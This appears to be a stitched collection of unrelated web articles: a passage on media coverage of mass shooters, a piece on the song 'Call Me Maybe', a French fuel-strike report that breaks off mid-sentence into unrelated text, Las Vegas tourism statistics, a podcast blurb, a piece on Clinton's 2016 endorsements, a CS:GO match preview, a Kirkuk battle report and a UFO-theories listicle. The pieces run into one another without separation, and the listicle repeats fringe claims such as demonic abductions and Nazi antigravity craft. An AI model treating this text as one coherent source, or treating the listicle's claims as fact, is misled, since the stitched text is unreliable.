But some journalists and news organizations are beginning to recast their coverage of mass shooters with the recognition that they should avoid glamorizing them, and that proportionality matters. The day of the Virginia murders, CNN said it would show a segment of the killer’s footage only once per hour; if that sounded odd in its own right, it was an improvement over the sensationalism of the constant looping so common on cable news networks. Since Aurora, CNN’s Anderson Cooper has at times declined to name on the air the perpetrators of high-profile massacres.
Should the media refrain from naming/showing mass shooters? @SFClem and Tom & @CarenTeves say yes: http://t.co/an2IPDyxUh from Sunday’s show — Brian Stelter (@brianstelter) October 5, 2015
There is precedent for establishing the type of industry standard that threat assessment experts suggest. Rape victims and juveniles charged with crimes are rarely named in news reports. Ditto people who commit suicide—another problem with a potent contagion effect. When American journalists are taken hostage overseas, news organizations usually agree not to report on their plight due to fears that it would undermine their safety and jeopardize negotiations for their release. Perhaps a rising awareness of the copycat problem will lead to a similar change in how the media covers gun rampages.
Over the past three years, a team of colleagues at Mother Jones and I have spent a great deal of time and effort reporting on mass shootings. Knowing what we do now, we’ll continue to inform the public while avoiding what could contribute to the copycat problem. In light of the Umpqua attacker’s quest for notoriety, we’ve chosen not to publish his image or put his name in any headlines. We will focus attention on him or other killers only when we see clear journalistic value in doing so.
We made similar choices with our newly published cover package on threat assessment and the Columbine effect. With most of our major investigations into gun violence, we have published our underlying datasets so that anyone can use them for further study and analysis. But we are only providing summary data and analysis from our research on Columbine copycats. Though much of the case-level data we’ve collected is publicly available, we decided not to make it easily accessible in one place, where it could potentially be used by aspiring attackers searching for inspiration or tactical information.
Below, we’ve compiled a set of recommendations based on interviews with and research from threat assessment experts concerned about this issue. Not all of these ideas will go over well in newsrooms, and as journalists, we can see arguments for and against these practices. But given the scope of the copycat problem, they are worthy of serious consideration and debate. [Ed. note: For more on that debate, see Follman’s opinion piece in the New York Times.]
Report on the perpetrator forensically and with dispassionate language. Avoid terms like “lone wolf” and “school shooter,” which may carry cachet with young men aspiring to attack. Instead use language such as “perpetrator,” “lone act of terrorism,” and “act of mass murder.”
Keep the perpetrator’s name out of headlines. Rarely, if ever, will a generic reference to him in a headline be any less practical.
Minimize use of the perpetrator’s name. When it isn’t necessary to repeat it, don’t. And don’t include middle names gratuitously, a common practice for distinguishing criminal suspects from others of the same name, but which can otherwise lend a false sense of their importance.
Minimize use of images of the perpetrator. This is especially important both in terms of aspiring copycats’ desire for fame, and the psychology of individuals who may be vulnerable to identifying with mass shooters.
Avoid using “pseudocommando” or other posed photos of the perpetrator. Such self-styled images are the ones they hope will get publicity. These should be avoided especially after the images are outdated, such as showing the Aurora killer again with his “Joker” hair during his trial three years later, when he was heavier and wore glasses and a beard.
Avoid publishing the perpetrators’ videos or manifestos except when clearly valuable to the reporting. Instead, paraphrase, cite sparingly, and provide analysis. The guiding question here may be: Is this evidence already easily accessible online? If so, is there a genuine reason to reproduce it in full and spread it, other than to generate page views?
Don’t fixate on body counts. Would-be attackers are keeping score too—and many want to outdo their predecessors.
This story has been updated.Jepsen, though, nimbly sidesteps some of these all-too-familiar traps—so to the extent that these things can be predicted, the 26-year-old British Columbia native could be our latest, best hope for a real YouTube-to-superstar success story.
"THE MOST CATCHIEST SONG I'VE EVER HEARD"
"Call Me Maybe," recently named Billboard's 2012 Song of the Summer, will probably one day be presented in textbooks as a hallowed case study in the principle of Internet "virality." Though the single, released by Canadian label 604 Records, had been driving YouTube traffic and earning play on some Canadian radio stations since September 2011, it became a global cultural phenomenon almost literally overnight when Bieber, a fellow Canadian who's called the song "the most catchiest song I've ever heard," tweeted about it. He and a few Disney-friendly pals posted a goofy "Call Me Maybe" lip-sync video to YouTube on Feb. 28; Bieber's expansive flock of loyal followers then clicked, squealed, and shared, driving up the lip-sync video's traffic exponentially. And when the official video surfaced two days later, that, too, went viral worldwide, as evidenced by the visible bump in its weekly interest chart on YouTube's Trends blog.
Jepsen signed with Justin Bieber's label, Schoolboy Records, and the song rocketed up the Billboard Hot 100 singles chart to hold the No. 1 position for nine weeks. The song went on to dominate YouTube and Billboard charts throughout the spring and summer, and on its way there, it was repurposed in countless different ways as a wacky photo caption and inspired a craze of lip-sync videos like Bieber's. Sports teams, friend groups, college students on spring break, and other "Call Me Maybe"-obsessed fans began uploading their own silly renditions of the now-ubiquitous track.
To date, according to YouTube's Trends blog, the official video has more than 250 million views—but fan videos mentioning "Call Me Maybe" have been seen nearly a billion times.
And that figure is perhaps the most telling of all. The fact that the official pop song and the fan-video meme both took off so explosively at the same time highlights one way "Call Me Maybe" is different from its predecessors: It's a funny meme, but it's also a great song.
The "Call Me Maybe" meme is one of the first in recent memory that's been fueled by the surprising fact of how likable a song is. Gawker's Emma Carmichael called it "a flawless pop song" after the official video debuted in March: "Resistance is futile, people," she wrote. "As much as I want to hate this song, I have listened to it seven times today (maybe more like 10 times) and I am not yet sick of it."
Some of the most popular viral fan videos of "Call Me Maybe," too, are driven by the cheeky humor of seeing people we'd never expect to love girly bubblegum pop songs sing and dance to a girly bubblegum pop song. When the Harvard baseball team released an instantly beloved road-trip video tribute to Jepsen's hit in May, CBS News' Jim Armstrong mused, "It's not how you picture varsity Harvard athletes in their downtime." It's probably not how you picture Division I rowers, Today show hosts, the U.S. Olympic swimming team, Darth Vader, or President Barack Obama spending their downtime, either.Are you affected by the strikes in France? Share your stories, photos and videos with CNN iReport.
Paris, France (CNN) -- Fuel continues to flow into France -- increasingly, from refineries out of the country -- as the nation deals with the ongoing effects of strikes that have affected car, train and plane travel throughout the European nation.
Jean-Louis Shilansky, the president of the French Union of Petroleum Industries, said 10 of France's 200 fuel terminals were blocked Monday by protesters opposed to a government cost-saving move that would raise the retirement age from 60 to 62. French unions had said that production has stopped at 12 of the nation's refineries.
Shilansky said there is a four-week supply of fuel in France, and any shortages can be resolved with shipments from other countries. In recent days, for instance, fuel imports "have increased substantially" from Russia, Italy, |
mind what it's sprinkled on.CASINO
Just 12% of last year’s visitors to Las Vegas came primarily to gamble, according to a new survey by the Las Vegas Convention and Visitors Authority (CVA).
The share of people coming to Sin City primarily to gamble fell three points from 2013, although the figure was three points higher than 2010’s 9%. Of the 41.1m visitors that Vegas welcomed last year, around 71% placed at least one bet during their say, about the same as in 2013. But that figure was down from 80% in 2010.
Among those who gambled during their stay, the average gambling budget was $530, virtually unchanged from 2013 but up around 16% from 2010. Gamblers spent an average of 2.6 hours per day testing their luck, down 0.3 hours from 2013.
The average Vegas visitor spent $282 on food and drink, virtually unchanged from 2013 but up nearly 10% from 2010. The average shopping budget was $150, up 6% from 2013 and 22% more than in 2010. Spending on shows was up nearly 24% from 2013 but down 3.5% from 2010.
First-time visitors to Vegas hit 19% in 2014, up from 15% the previous year. Only 4% of these first-time visitors came primarily to gamble, compared to 14% among repeat visitors. Around one-quarter (24%) said they were “more likely” to visit Vegas despite increased gambling options closer to home, the same as 2013 but down from 35% in 2010.
The average Vegas visitor was 45 years old, down from 49 years old in 2010. The number of visitors between the ages of 21 and 29 rose from 10% in 2010 to 17% last year, while the percentage of retirees fell from 27% to 20% over the same span. Ron Dondero, VP of the CVA’s marketing arm R&R Partners, told the Associated Press that 2014’s number of twenty-something visitors was likely the largest it’s ever been.
This downward skewing age demo may suit Vegas’ growing reputation as a pool-party and club-going mecca, but the trend spells trouble for regional casinos that lack Vegas’ non-gaming amenities. Moody’s analyst Keith Foley issued an investors note this week that said younger consumers were “less enthused” about making the trip to local casinos just to gamble.
Foley said regional casinos generate between 65% and 85% of their revenue from slots and table games, whereas some Vegas casinos can derive as much as 60% of revenue from non-gaming amenities. Older generations used to parking themselves in front of slot machines for hours at a stretch are being replaced by a younger generation “shaped by technology that can get its entertainment satisfaction in ways that older generations couldn’t.”
CommentsWelcome to Episode 104 of Speculate! The Podcast for Writers, Readers and Fans. In this episode we chat for the second time with actor, director and writer Amber Benson about a variety of projects, from the upcoming film Blood Kiss (co-starring Neil Gaiman) to Amber’s new series with Ace/Roc, The Witches of Echo Park. Amber also talks about her gradual transition from acting to directing, why having the chance to get lost in creation is a joy rather than an addiction, and some of the pros and cons of crowdfunding. As always, Amber is interesting and engaging, and we hope you’ll enjoy the interview as much as we did. If you like what you hear, don’t forget to check back next week when we’ll begin a triptych of shows on The Coldest Girl in Coldtown, the latest standalone novel from Holly Black. Until then, thanks as always for listening to the show, and please continue to spread the word!
Additional Note: Speaking of Kickstarters, we’re almost halfway through ours, and though many of you have generously supported us and spread the word (thanks so much!), we still need everyone’s help to make our goal. If you haven’t already, please check out, support and spread the word about the Kickstarter–and thanks so much as always!
Like this: Like Loading...Hillary Clinton has been absolutely crushing Bernie Sanders when it comes to endorsements from elected Democrats. She has 34 of the US Senate's 44 Democrats, 10 of the 18 Democratic governors, and 120 of the US House's 188 Democrats.
But Clinton's most surprising endorsement is the 34th and most recent senator to get on board: Sherrod Brown of Ohio.
"From opposing unfair trade deals to fighting for a fair financial system, Hillary Clinton has shown she puts working families first," Brown said in a statement announcing the endorsement on Tuesday. "She knows as president that her first job will be creating jobs for the middle class. I am proud to endorse her today because I know she will keep Ohio moving forward."
Bernie Sanders is losing the invisible primary really, really badly
On one level, this isn't terribly surprising. While Brown didn't endorse Clinton (or anyone) in the 2008 primary, the race isn't nearly as close this time around, and as a solidly liberal senator from the swingiest of swing states, an endorsement sets him up well as a VP prospect.
But the move is also an indication of just how tough Sanders is finding it to get even ideologically sympathetic elected officials on his side.
Bernie and Sherrod Brown agree on almost literally everything. They're both vocally pro-union, anti-free trade populists. And they're personally close. They were in the House together for 14 years (where they were both members of the Progressive Caucus), and both got elected to the Senate in 2006, so they've had more than two decades' worth of opportunities to collaborate on just about every economic policy issue you can imagine.
"What’s very clear is that Sherrod Brown knows which side of the struggle he is on"
This very month, they introduced a bill together to make union organizing easier. Just a month ago, they introduced legislation together repealing Obamacare's "Cadillac tax," a move pushed by their supporters in labor unions whose members have to pay the tax; they also introduced an amendment trying to strip the tax when Obamacare when being debated in 2009. They jointly led the unsuccessful effort this past spring to kill fast-track authority for the Trans-Pacific Partnership trade deal.
"I’ve known him for many years," Sanders told Chris Hayes for a profile of Brown back in 2005. "What’s very clear is that Sherrod Brown knows which side of the struggle he is on."
If any senator were going to endorse Sanders, it would be Sherrod Brown. And yet here he is, endorsing Clinton.
It's not getting better anytime soon
This is a broader problem than just Brown, though. Other vocal congressional progressives have flocked to endorse Hillary:
Sen. Tammy Baldwin (D-WI), who was in the Congressional Progressive Caucus with Sanders as a House member
Rep. Jim McGovern (D-MA), a Progressive Caucus member and Congress's premier defender of food stamps
Rep. Jan Schakowsky (D-IL), a Progressive Caucus member and the prime congressional advocate of a public option
Sen. Barbara Boxer (D-CA), who sponsored carbon tax legislation with Sanders
Rep. José Serrano (D-NY), the vocally pro-Castro and pro-Chávez congressman from the Bronx who was one of only two House members in 2004 to endorse Al Sharpton for president
To a large degree, this is a testament to just how many connections Clinton maintains with different important factions in the Democratic Party. As far back as 2013, women senators were announcing their support for her bid. Her time as senator from New York means liberal politicians from New York City like Serrano feel obliged to offer her their endorsements. Mayor Bill de Blasio — who, along with Sanders and Elizabeth Warren, is one of the most prominent progressive Democrats in the country — is reportedly planning to endorse Clinton soon. That doesn't just reflect regional loyalties: He ran Clinton's 2000 Senate campaign.
By contrast, Sanders has been endorsed by a total of two major elected officials: Congressional Progressive Caucus co-chairs Reps. Keith Ellison (D-MN) and Raúl Grijalva (D-AZ). He couldn't even keep Vermont Gov. Peter Shumlin, a die-hard progressive who tried to implement single-payer health care in the state, from endorsing Clinton.
It's still theoretically possible that Sanders could nab an endorsement from Elizabeth Warren, the last big-deal progressive whose support is still up for grabs. But it's unclear why she would. She signed that 2013 letter from women Democratic senators expressing support for Clinton, and with her position in the Democratic leadership, it's doubtful she'd want to alienate herself from her colleagues by being literally the only senator to back Bernie.
Not everything is looking bleak for Sanders. He's still ahead in New Hampshire and not far behind Clinton in Iowa. But if you believe the political scientists who argue that party elites ultimately control the nomination process, then it follows that he has little hope of ultimately beating Clinton.Thursday, January 7th will see ELEAGUE's "Road to Las Vegas" event offer $50,000 to two battling teams and we have prepared a light preview for the event.
Turner Broadcasting and WME | IMG's venture into CS:GO will kick off Thursday as ELEAGUE will pair up with the broadcasting and production team of FACEIT to run a "Road to Las Vegas" tournament.
The two teams for the event, one from North America and one from Europe, are OpTic Gaming and CSGL and they qualified via heavily contested qualifiers that saw many namebrand favourites such as Cloud9, G2, Liquid, dignitas, and CLG drop out along the way.
CSGL return to the US for a redemption after RGN
The event itself is a single best-of-three with the winner raking in $35,000 and a spot at ELEAGUE's inaugural summer season (which itself will offer $1.2 million in prize money).
The loser will receive $15,000 in prize money.
The stream talent for the match will be:
Anders Blume - Caster
Auguste "Semmler" Massonnat
Daniel "ddk" Kapadia James "JZFB" Bardolph - Host
Duncan "Thorin" Shields - Analyst
Richard Lewis - Analyst Janko "YNk" Paunović - Observer
Heather "sapphiRe" Garozzo - Observer
We have also prepared a brief overview of each team going into the Road to Las Vegas, which will start at 21:30 tomorrow in the United States.
OpTic Gaming
OpTic Gaming, who are as of now ranked 16th in the world per our team ranking, qualified for ELEAGUE's Road to Las Vegas tournament under the name and branding of a different organisation: Conquest.
However, the Canadian-American roster soon parted ways with their old organisation and were just recently signed by OpTic, an organisation with strong roots and history in the Call of Duty scene.
The team are actually a fairly new creation (with Conquest signing a Sponsorless lineup that had only formed a few weeks before in September 2015), although the players have all had experience in the past playing with each other (many of them were on Denial in 2014).
daps could help embolden his relatively young team with a win in Vegas
Before attending any events in 2015, the squad then made a single roster change, removing Ronnie "ryx" Bylicki and bringing on board Peter "stanislaw" Jarguz who had been playing for Coast at the time.
The change markedly improved the team's chemistry online and it was off the back of such repute that Shahzeb "ShahZaM" Khan and his team went into the CEVO-P Season 8 finals, the team's first offline event.
CEVO was a resounding success for the OpTic team (then still Conquest) as following an opener loss to Virtus.pro (including a grinding overtime loss on de_inferno), the team took down Liquid 2-0 and then surprised dignitas with a 2-1 win. They took mousesports to a close series in the semifinal, ultimately losing and finishing a respectable 3-4th place.
Eighteen-year-old NAF-FLY's strong rifling is a strong suit for the team
OpTic then arrived in Santa Ana for the iBUYPOWER Invitational, where their rivals in Las Vegas of CSGL were coincidentally at the venue but merely waiting out the weekend until the RGN Pro Series would kick off. OpTic were also planning to attend the RGN event but dropped out last minute due to scheduling issues with ESEA.
The iBUYPOWER run was a keenly felt disappointment for the team however, as William "RUSH" Wierzba and his teammates were mauled by Cloud9 16-4 on de_inferno and then taken out by compLexity 16-10 to leave the tournament early.
Online results kept clocking in however, and through such results OpTic were able to secure a prestigious qualification to the offline finals of ESL ESEA Pro League Season 2.
Much like the rest of the North American ensemble present, OpTic were humbled at EEPL, losing convincingly to fnatic 0-2 (both maps were whitewashes) and then losing 1-2 against Liquid where the latter team managed to get revenge for CEVO.
OpTic's track record so far has thus been a strong breakout event with two shaky follow-up attendances and with strong online performances throughout.
The team clearly seem determined to grow as a roster by having stuck together during the North American shuffle and will need to hone their interpersonal discipline if they wish to compete versus a strengthened CSGL outfit.
OpTic's five are:
CSGL
The saucily named CSGL, or CSGOLounge, or Lounge Gaming, are ranked 20th in the world and they are a collection of Polish players that are basically a reincarnation of the old Gamers2 lineup but with some added firepower in the form of Oskar "oskarish" Stenborowski.
The team have the distinction of having been signed into a more concrete existence as CSGL in September 2015, much as OpTic had been signed by their former Conquest organisation in the same month. If you like parallels, then this fact and that the two teams were both in the same building in November during the spree of American events, should practically make the Las Vegas meeting a matter of fate by now.
In any case, the original CSGL lineup featured Golden Five legend Mariusz "Loord" Cybulski, who has generally spent his 2015 vacillating between a player's and a coach's role on various Polish lineups.
MICHU failed to make a deep enough impact at RGN
This original lineup only had the distinction of winning the ESL Polish Championship in October over rivals Vexed before jetting off to California in November for a disastrous representation of Europe over at the RGN Pro Series Championship.
This stint included losing a close game to Liquid 13-16, then being defeated by the Brazilian underdogs of Games Academy 10-16, and finally only managing to defeat Kyle "OCEAN" O'Brien's SKDC 16-11 while not being able to advance from the group stage at that point.
Michał "MICHU" Müller also had the distinction of travelling up to San Jose that same weekend to stand-in for Virtus.pro at IEM, but that campaign was equally disastrous although for reasons likely unrelated to the nineteen-year-old star's act of standing-in alone.
Loord as coach may reap dividends for the chłopaki
Such a loss at a more regional North American event must have pained the Poles as they eventually parted ways with Loord, or rather, moved him into the role of coach and brought Mikołaj "mouz" Karolewski back on board, who had last played for this core in August 2015.
And thus a reforged Gamers2 team that is dangerous at any given time will be tested against the bastard child of North America in OpTiC, a team which has shown potential but has for now relapsed into the surly and begrudging posturing particular of that region.
CSGL's five are:
ELEAGUE's Road to Las Vegas taking place at the Consumer Electronics Show (CES) in Las Vegas, Nevada will be streamed over at twitch.tv/faceittv at 21:30, or 12:30 PM local time.
stich writes for HLTV.org and can be found on TwitterStill not sure if this match going to be Bo3 or Bo5, and if there going to be any advantage for the upper bracket winner, but with current veto system in Bo3 - Navi should win 2-0 or 2-1 if VP can take Mirage out of ivaN, but both teams are not in the best condition right now, can go either way in the end. So, Bo3 vetos: Navi will ban Cache and Train like against ex-CSGL, VP will ban Dust 2 for sure, and probably ban Inferno or Cobblestone. I think Cobble is a better choice here, because Navi didn't lose on it this tournament and VP feeling shaky there, also VP doesn't have Guardian, who can just ACE whole enemy team as long as he has AWP, so it's just better to take a gamble with Inferno, which is not that good for both team and hope for the best. Obvious picks: Navi will pick Overpass, VP will pick Mirage, Cobble or Inferno as decider. Just looking at the maps making me believe Navi already won. Not sure about current VP form on Overpass, but it's a playground for Guardian, he always going big with AWP on this map, so I see Navi taking Overpass in strong manner with 16-10 or 16-11 score if VP can take at least one pistol round, without pistols VP probably lose it 16-5 or something as bad as this. Mirage - strong map for both teams, usually would say it's 40-60 for Navi, but ivaN looking mortal here at the moment, while VP didn't drop a game on Mirage in this tournament. So I think it should be fare 50-50, team which play less sloppier - will win. Cobblestone is another great map for Guardian, I might see VP winning Overpass if they can win both pistols, but Cobblestone looking too good for Navi right now, and it should be convincing win for them. Inferno going to be removed soon, so most of the teams probably not even practicing it anymore, so I assume both Navi and VP feeling rusty and unprepared to play inferno, and also Guardian should not play a major role for Navi here because of the map design, so it must be quite fair match up, pistol rounds and better T sides should decide the winner. I just hope we will see close finals and not a slaughter of one team by another.
2016-05-22 13:19ERBIL, Kurdistan Region - Hundreds of Islamic State, or ISIS, militants were beaten back on Sunday in a midnight attack on Peshmerga-controlled villages in the south of Kirkuk province.
A Peshmerga officer who spoke to Rudaw said the Islamic State, or ISIS, was defeated and did not capture any territory in the intense fighting.
"More than 600 ISIS fighters launched an attack on Talwra, Big Homeyra, Small Homeyra, Al-Murra and Shahid villages but they have been defeated by Peshmega,”said a Peshmerga officer who gave his name only as Rasul.
Raswl said the Kurdish forces with the aid of airstrikes from the US-led coalition and were able to defeat the ISIS attacks. He said heavy fighting is still going on in Murra village. It is estimated that more than 100 ISIS fighters have been killed and injured in last night's battles.
The ISIS forces attempted to control the Syryani oil refinery in southeastern Kirkuk but Peshmerga were able to destroy two ISIS Humvees and and defend the cluster of villages.
Kamal Kirkuki, an official from the Kirkuk frontline told Rudaw the Peshmerga are well prepared and they have defeated ISIS attacks in different districts.
The frontline in the east of Kirkuk province is under Peshmerga control, Kirkuki said.If you don’t believe UFO sightings are the result of the misidentification of either astronomical or mundane aerial objects, you most likely believe in the extraterrestrial hypothesis, which states UFOs are vehicles sent by civilizations from far distant stars to bring us a message of peace or probe us mercilessly. Yet, there are other possibilities as well.
10 UFOs Are Earthlights
Some people believe that the appearance of UFOs is simply the result of an unknown natural byproduct of the Earth. This idea was developed by Professor Michael Persinger in the 1970s as tectonic strain theory, which we have mentioned in a previous article. These ideas were built upon by author Paul Devereux. He believes that while most UFO sightings can be explained as misidentified mundane aerial objects, mirages, hoaxes, and hallucinations, there are some that result from an unexplained electromagnetic phenomenon related to earthquake lights and ball lightning. He believes tectonic stress and strain in the Earth’s crust creates luminosity in the atmosphere, as do other geological and meteorological sources of energy.
He refers to the phenomenon as “earthlights,” though earlier theorists called them “spooklights” or “ghost lights” and believed they were the explanation behind historical sightings of dragons, fairies, bodhisattvas, corpse candles, foo fighters, and ghost rockets. UFO behavior such as apparent intelligence and downright illogical movement and appearance suggest to Devereux that UFOs may be a form of macro quantum phenomenon, meaning UFOs represent phenomena that should only exist on the subatomic quantum level but have somehow manifested in the macroscopic, visible world.
9 UFOs Are Four-Dimensional Objects
Imagine a flat plane on which two-dimensional creatures live. They cannot perceive our third dimension, but we can see them. Say you stick your finger into their plane. From their point of view, an object has suddenly and inexplicably appeared out of nowhere. It also appears to change size and shape depending on exactly what cross-section of your finger is in their plane. When you pull your finger out, the object disappears, and no one believes the two-dimensional creature who saw it because he was drunk and is always making up crazy stories.
A comparable theory has been promoted to explain UFO phenomena, particularly how some UFOs appear to change size and shape, morphing in the air. If a four-dimensional sphere—a hypersphere—passes through our three-dimensional space, it would appear to our limited perceptions to be a small sphere that appears suddenly, then rapidly grows in size before it shrinks again and vanishes altogether. Any four-dimensional object that entered our three-dimensional plane would appear to be capable of shape-shifting, impossible movement, and dematerialization, reflecting many reports of “morphing” UFOs.
Claims of bizarre magnetic effects caused by UFOs could be explained as changes in the structure of three-dimensional space caused by the passage of a four-dimensional object in the same way a pebble dropped into water creates ripples on the surface. Some argue that entities from other planets or other three-dimensional universes could be using four-dimensional space as a convenient means of traveling to our world.
8 UFOs Are Demons
Some believe sightings of UFOs are actually manifestations of demonic activity prophesied to increase during the Last Days. Satan knows in the End Times he will be forced out of the spiritual realm entirely and therefore needs to corrupt human beings in large numbers. This theory posits that UFO abduction is actually abduction by Satan’s advancing forces. These forces take people to engage in sinful, sexual congress and open them up to possession, just as the fallen angels had sexual intercourse with human females in the days before the Great Flood, creating the giant race known as Nephilim. The entities onboard UFOs are demonic but pose as extraterrestrial visitors to weaken faith in Christ and prepare for the creation of a unified world occult religion venerating the fake aliens.
The appearance of UFOs is also linked with the occult. Many UFO abductees have had previous experience with occult practices. Some claim there have been increased numbers of UFO sightings in areas where the Soviets conducted occult research as well as areas associated with US military research and Native American shamanism. Crop circles, meanwhile, represent an esoteric form of communication related to Kabbalah and the Illuminati, a secret demonic language. Of particular interest here is the Milk Hill Script, Hebrew-like letters that appeared in a field of crops in England.
Animal and human mutilation during abductions is the result of demonic experiments to create artificial physical bodies for Satan’s forces to inhabit during the End Times. Abductees and psychics have reported sightings of “grays” relaxing in a vat of “human stew” made from blood and body parts in the hope of absorbing nutrients such as adrenaline. This stew is created by torturing and traumatizing human victims before death, particularly children.
7 UFOs Are Nazi Anti-Gravity Vehicles
Ernst Zundel is most famous for his Holocaust denial, but he was also famous for theorizing that UFOs are actually advanced craft created by the Third Reich. He was preceded by the work of Louis Pauwels and Jacques Bergier, who claimed the Vril Society, an occult Nazi conspiracy, made contact with Aryan aliens living in the Aldebaran system. The strange “foo fighters” reported by Allied pilots were actually the first prototypes of anti-gravity craft designed by the society, incorporated into the SS. The craft was allegedly powered by an electromagnetic-gravitic engine known as the Thule Triebwerk. After the war, the surviving Nazis regrouped to Antarctica to continue development. Bulgarian physicist Vladimir Terziski went even further, asserting that the Nazis had by 1942 landed on the Moon and later established bases there, which he claims has an atmosphere, water, and vegetation despite NASA’s propaganda to the contrary.
But it was Zundel, working off the success of von Daniken’s Chariots of the Gods and other UFOlogy books, who truly popularized the idea. Writing under the pseudonym Christof Friedrich, he claimed a secret Nazi expedition to Antarctica discovered an almost tropical area the size of Germany where they established bases and withdrew in a massive convoy in 1945 with their secret weapons in tow. The CIA and KGB collaborated to keep the truth of the UFO phenomenon secret while they plotted to destroy the Nazis and establish a global dictatorship. Thankfully, an investigation of the evidence by UFOlogist Kevin McClure concluded the Nazi UFO mythos, like Holocaust denial, is nothing more than bigoted delusion.
6 UFOs Are Archons
According to the Gnostic theory of alien intrusion, the truth about UFOs was ascertained by ancient Gnostic seers known as siddhis 1,600 years ago. The theory claims the Nag Hammadi texts discovered in Egypt in 1947 contained information about a jealous group of predatory inorganic beings known as Archons, led by Jehovah. These arose during the formation of the solar system due to a wave of plasmatic energy from the galactic core and now intrude upon the Earth.
They have two forms: a neonatal, embryonic form resembling aborted human figures and a more developed reptilian form, which corresponds with common descriptions of gray aliens and reptilian aliens. They are soulless bodies, robotic in behavior and lacking our ability to innovate and drive to create, and they hate us for it. They are also able to feed on our emotions, particularly fear, but they are no more powerful than we are. They merely have greater technology in the fields of virtual reality, space travel, and telepathy. They use mental conditioning techniques to influence the way we see the world and foster belief in Jehovah while secretly controlling the solar system like clockwork.
They are occasionally visible to the mentally disturbed or drug abusers, who cannot truly comprehend them. The ancient Gnostic siddhi were able to perceive the truth of the universe and explore the heavens through remote viewing techniques, but they were wiped out by the bloodlust of those members of Abrahamic religions deluded by the Archons, who are themselves deluded into thinking they are our rightful rulers. Only through communion with the goddess Sophia, the Gaia spirit of the organic Earth, will humanity overcome these interlopers.
5 UFOs Are Extremophiles Or Plasma-Based Life
There is a theory that UFOs are indeed from space, but rather than being the vehicles of a technologically advanced interstellar race, they are instead biological in nature and indigenous to our very own solar system. The theory asserts there is a species living in interplanetary space, and sightings of these creatures explain many UFO sightings in the upper atmosphere and in orbit. One theorist believes the entities are either extremophiles (organisms that can survive in extreme conditions like thermal vents or deep space) or possibly a form of plasma life. They are said to resemble single-cell or simple multicellular organisms like algae with four distinct morphologies: sperm-shaped, cloud-shaped, donut-shaped, and cone-shaped.
It is theorized they are attracted to electromagnetic energy created by storms, hurricanes, and tethered satellites, perhaps for reproductive purposes. They migrate between Jupiter, Venus, and Earth in search of storms. Another version of the theory suggests they may be beings of pure energy called “energyzoa,” resembling deep sea creatures like jellyfish or squid and existing on the edge of our three-dimensional space, which explains their abilities to appear and disappear, move great distances, and pass through solid objects. One of the earliest of these theorists was Trevor James Constable, who claimed in his 1959 book They Live in the Sky that while some UFOs were mechanical vehicles, others were invisible biological entities native to our atmosphere. He dubbed them “sky critters” and claimed they could usually only be photographed with infrared cameras.
4 UFOs Are Time Travelers
Perhaps UFOs do not come from distant space but rather a distant time. The visage of the famous gray aliens is considered by many the future evolutionary form of the human race. These humanoid beings have perhaps returned to this time period to help guide our genetic development. Some believe these future beings have become dependent on technology and suffered an erosive genetic atrophy. They are forced to visit our time period to take tissue samples through abductions, perhaps in an effort to cure future diseases. Dr. Bruce Goldberg, hypnotherapist and (self-declared) “world’s foremost authority on futuristic time travelers” believes human “chrononauts” from a few thousand years hence have traveled back to our time period via the fifth dimension in order to further our spiritual growth.
One website claims that the UFO that landed at Rendlesham Forest in 1980 transmitted a sequence of ones and zeroes to US serviceman Jim Penniston after he touched strange symbols on the side of the craft. Penniston noted the sequence down in his journal but apparently didn’t think to check if it was some kind of code until 2010 at the 30th anniversary of the UFO encounter. The translated binary code began “EXPLORATION OF HUMANITY. CONTINUOUS FOR PLANETARY ADVANCE. FOURTH COORDINATE CONTINUOUS.” The code indicated an origin point in southern England in the year 8100 and listed a number of sites supposedly visited by the time travelers: Caracol Pyramid in Belize, Arizona, the Giza pyramids in Egypt, the Nazca Lines in Peru, China’s Tai Shan Mountain, and the Temple of Apollo in Greece. These future beings are said to be behind the crop circle phenomenon, which are theorized to be a way of navigating between parallel time streams like someone leaving marks in tree bark, warnings and portents of future events, or even the secrets of time travel and parallel dimensions.
3 UFOs Are A Metaphysical Control System
French-American computer scientist and astrophysicist Jacques Vallee was an early proponent of the idea that UFOs had an extraterrestrial source. But as time went on, his views began to change. In his 1969 book Passport to Magonia, he advanced the theory that UFOs are paranormal in nature and have been with us in various forms throughout human history, manifested as fairy lore and religious miracles. Vallee saw a deep connection between reports of UFOs and legends of devils and supernatural tricksters. Later, in his 1975 book The Invisible College, he asserts the UFO phenomenon is a control system influencing human understanding of reality, guided by a metaphysical intelligence of unknown nature.
In his autobiographical book Forbidden Science, Vallee wrote, “[The UFO phenomenon] is physical in nature and it remains unexplained by contemporary science. It represents a level of consciousness we have not yet recognized or developed, which is able to manipulate dimensions beyond time and space as we understand them.” He believes there are three levels to UFOs. The first is the physical object, the exact nature of which he declines to speculate on but which surely contains a large amount of electromagnetic energy in a small area. The second is the perception of witnesses, who may be viewing an actual physical object or experiencing hallucinations caused by radiation. The third layer is the social, the effect of the UFO reports on society, which he claims to be most interested in.
UFOs represent something fundamental about the nature of the universe, a technology or phenomenon able to affect the psychic environment of the witness and causing paralysis, hallucinations, space and time disorientation, and personality changes. They often first manifest in an amorphous way before assuming an appearance in accordance with the expectations of the viewer. He suspects physical traces of UFO activity are left as a deliberate deception, in the same way the British created artificial tank tracks to fool the Germans in World War II.
2 UFOs Come From The Imaginal Realm
The Imaginal Realm is a hypothetical alternate reality only perceivable by those in an altered state of consciousness. This theory was developed by psychiatrist Dr. Kenneth Ring to explain out-of-body experiences, near-death experiences, shamanic experiences, psychedelic experiences, night terrors, and encounters with UFOs. Ring describes this realm as “the cumulative product of imaginative thought itself.” This realm has throughout history been associated with fairies and other creatures of legend, but the modern world perceives entities from the realm as extraterrestrial beings. This is said to explain the history of supposed sexual liaisons with both fairies and elf-like creatures in folklore and with humanoid aliens in some abduction reports.
Shamans, mystics, and visionaries are gifted with the ability to view this realm. It is possible to gain access to it via the use of psychotropic drugs, religious rituals, trances, and the heightened use of imaginative powers. UFO encounters are said to resemble near-death experiences with the sensation of being taken away into a strange environment, often featuring glowing lights. However, while near-death experiences are usually transcendent experiences, UFO abductions are more likely associated with feelings of violation and post-traumatic stress disorder. Both are seen by some as shamanic initiations into the world of the imagination.
1 UFOs Are Of Cryptoterrestrial Origin
